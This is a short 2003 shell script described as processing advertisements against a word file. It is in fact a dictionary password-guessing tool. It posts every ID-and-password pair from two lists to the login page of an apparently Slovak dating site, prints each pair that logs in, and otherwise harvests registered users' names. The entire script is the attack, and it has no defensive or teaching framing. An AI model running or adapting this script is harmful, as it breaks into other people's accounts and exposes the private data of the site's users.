#!/bin/sh

#
# process-ids.sh - proces particular advertisements according to wordfile
#
# Developed by Ondrej Jombik <nepto@platon.sk>
# Copyright (c) 2003 Platon SDG, http://platon.sk/
# Licensed under terms of GNU General Public License.
# All rights reserved.
#
# Changelog:
# 11/03/2002 - created
# 15/07/2003 - updated
#

# $Platon: scripts/shell/zoznamka-fun/get-ids.sh,v 1.2 2003/07/15 18:58:56 nepto Exp $

if [ $# -lt 1 ]; then
	echo "Usage: $0 ids_file wordlist_file";
	exit 1;
fi

if [ -r "$1" ]; then
	ids=`cat $1`;
else
	ids="$1";
fi

if [ -r "$2" ]; then
	pws=`cat $2`;
else
	pws="$2";
fi

for pw in $pws; do
	echo "-- Processing password $pw --";
	for id in $ids; do
		result=`echo "cislo=$id&heslo=$pw" \
			| lynx -post_data -dump 'http://Zoznamka.AZet.sk/odpovede.phtml' \
			| grep -E "(registrovaný uzívatel |PRIHLÁSIT[ ]+stratené heslo)"`;	

			if [ -z "$result" ]; then
				echo "$id:$pw";
			else
				result=`echo "$result" \
					| perl -wne 'print $1 if (/^.*uzívatel (.*)\. Musít.*$/)'`;
				if [ -n "$result" ]; then
					echo "user: $result";
				fi
			fi

	done
done